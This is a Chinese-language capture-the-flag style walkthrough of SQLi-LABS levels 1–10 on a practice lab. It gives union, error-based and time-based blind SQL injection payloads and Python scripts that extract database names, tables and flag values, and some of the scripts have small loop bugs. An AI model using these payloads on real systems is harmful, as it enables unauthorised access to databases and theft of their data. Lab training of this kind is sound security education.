SQLi-LABS(1~10关详解)

SQLi-LABS Less-1

查看题目环境

首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'or '1'='1

页面正常回显

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1'and '1'='2

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=1' order by 3 --+ 

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )'

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')'

查数据

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)'

SQLi-LABS Less-2

查看题目环境

首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1'

可以发现报错信息如下,我们可以知道是MariaDB数据库

发现我们用单引号闭合是多余的
payload

 http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 or '1'='1'

正常显示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1 and '1'='2'

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=1  order by 3 --+ 

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')

查数据

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-2/?id=-1 union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)

SQLi-LABS Less-3

查看题目环境

首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload
http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1
可以发现报错信息如下,我们可以知道是MariaDB数据库

发现我们应该用’)闭合
payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1')  or '1'='1' --+ 

正常显示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1')  and '1'='2' --+

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=1') order by 3 --+

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+

查数据

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-3/?id=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+

SQLi-LABS Less-4

查看题目环境

首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1'

发现用单引号闭合没有报错

尝试使用双引号,可以发现报错信息如下,我们可以知道是MariaDB数据库

发现我们应该用")闭合
payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1")  or '1'='1' --+ 

正常显示

payload

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1")  and '1'='2' --+

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=1") order by 3 --+

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) --+

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) --+

查表中的字段

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') --+

查数据

http://b56d9d95-d647-4065-b45b-62369cbbd4b8.node1.buuoj.cn/Less-4/?id=-1") union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) --+

SQLi-LABS Less-5

查看题目环境

首先可以看到这题传入id=1后,如果存在id,则会返回You are in…否则就没有任何显示

测试注入点

构造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1'

有报错信息如下
由于没有页面没有数据显示,所以无法使用Union联合查询,尝试报错注入

SQL注入

因为前面测得没有回显数据,所以采取报错注入
报错注入:
(1). 通过floor报错

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错

and extractvalue(1, payload)

我比较喜欢用的是floor报错注入,因为能返回的字符串长度最长
流程为

查询数据库

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查

查询数据库中的表

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查表中的字段

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查数据

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

SQLi-LABS Less-6

查看题目环境

首先可以看到这题传入id=1后,如果存在id,则会返回You are in…否则就没有任何显示

测试注入点

构造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1'

正常显示

构造payload

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1"


有报错信息如下
由于没有页面没有数据显示,所以无法使用Union联合查询,尝试报错注入

SQL注入

因为前面测得没有回显数据,所以采取报错注入
报错注入:
(1). 通过floor报错

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错

and extractvalue(1, payload)

我比较喜欢用的是floor报错注入,因为能返回的字符串长度最长
流程为

查询数据库

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查

查询数据库中的表

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查表中的字段

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查数据

http://4de79f7f-a387-428e-b1f4-8cb2bdb5aadc.node1.buuoj.cn/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

SQLi-LABS Less-7

查看题目环境

首先可以看到这题传入id=1后,如果存在id,则会返回You are in…Use outfile…

输入不存在的id,或者尝试sql注入都不会显示具体报错信息

所以联合查询和报错注入都失效了

测试注入点

构造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1'))

正常显示

SQL注入

首先,由题目环境观察可知,联合查询和报错注入都用不了,但是这边又可以执行我们输入的东西,所以我是用的时间盲注。

查询列数

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) order by 3 --+

时间盲注脚本

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['datebase']+")--+" #查找数据库

        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['table']+")--+" #查表名
        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['column']+")--+" #查字段名
        url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-7/?id=1')) union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
        break

SQLi-LABS Less-8

查看题目环境

首先可以看到这题传入id=1后,如果存在id,则会返回You are in…否则就没有任何显示

测试注入点

构造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1'

没有回显
构造payload

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1'--+

成功闭合

SQL注入

我这边使用SQL盲注得到flag
主要是让他执行查询,然后将查到的值与我们的table比较,若相等则调用SLEEP函数,通过判断响应时间,爆破出数据库内容

查询列数

http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1' order by 3 --+

时间盲注脚本

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(2))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['datebase']+")--+" 查找数据库
        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['table']+")--+" 查表名
        #url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['column']+")--+" 查字段名
        url="http://e40ffbdc-1bae-4621-a7c4-4326289ff1d6.node1.buuoj.cn/Less-8/?id=1%27 union select 1,1,("+data['flag']+")--+" #查数据
        t=requests.get(url)
        
        if time.time()-ss>=4:
            flag += i
            print (flag)
        break

SQLi-LABS Less-9

查看题目环境

首先可以看到这题id无论传入什么,都会显示这个页面

测试注入点

因为没有任何有意义的回显,所以一般就是时间盲注了,但是由于不知道他的sql语句是怎么样的,所以写个脚本测试下如何去闭合前面内容

import requests
import time
ss = time.time()
url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1'%20and%20sleep(5)--+"
t=requests.get(url)
if time.time()-ss>=4:
    print("is Time")

SQL注入

时间盲注脚本

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

import requests
import time
flag = ''
#table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
n=1
while True:
    for i in range(128):
        ss = time.time()
        data = {
            'datebase':"SELECT schema_name FROM information_schema.schemata limit 0,1",
            'table':'SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1',
            'column':'SELECT column_name FROM information_schema.columns WHERE table_name = "flag"',
            'flag':'SELECT flag FROM ctftraining.flag limit 0,1'
        }
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['datebase']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查找数据库
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['table']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查表名
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['column']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" 查字段名
        url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-9/?id=1%27 and if(ascii(substr(("+data['flag']+"),"+str(n)+","+str(n)+"))>"+str(i)+", 0,sleep(5))--+" #查数据
        t=requests.get(url)
        if time.time()-ss>=4:
            n=n+1
            flag += chr(i)
            print (flag)
            break

SQLi-LABS Less-10

查看题目环境

首先可以看到这题id无论传入什么,都会显示这个页面

测试注入点

因为没有任何有意义的回显,所以一般就是时间盲注了,但是由于不知道他的sql语句是怎么样的,所以写个脚本测试下如何去闭合前面内容

import requests
import time
ss = time.time()
url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22%20and%20sleep(5)--+"
t=requests.get(url)
if time.time()-ss>=4:
    print("is Time")
 

发现用双引号成功闭合

SQL注入

时间盲注脚本

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
while True:
    for i in table:
        ss = time.time()
        data = {
            'datebase':'''ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'table':'''ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'column':'''ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
            'flag':'''ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5))'''.format(len(flag)+1,flag, i),
        }
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['datebase']+" --+" #查找数据库
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['table']+"--+" #查表名
        #url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['column']+"--+" #查字段名
        url="http://a70061cb-45c2-40c8-af03-307f35da6017.node1.buuoj.cn/Less-10/?id=1%22 and "+data['flag']+"--+" #查数据
        t=requests.get(url)
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

  • 9
    点赞
  • 47
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值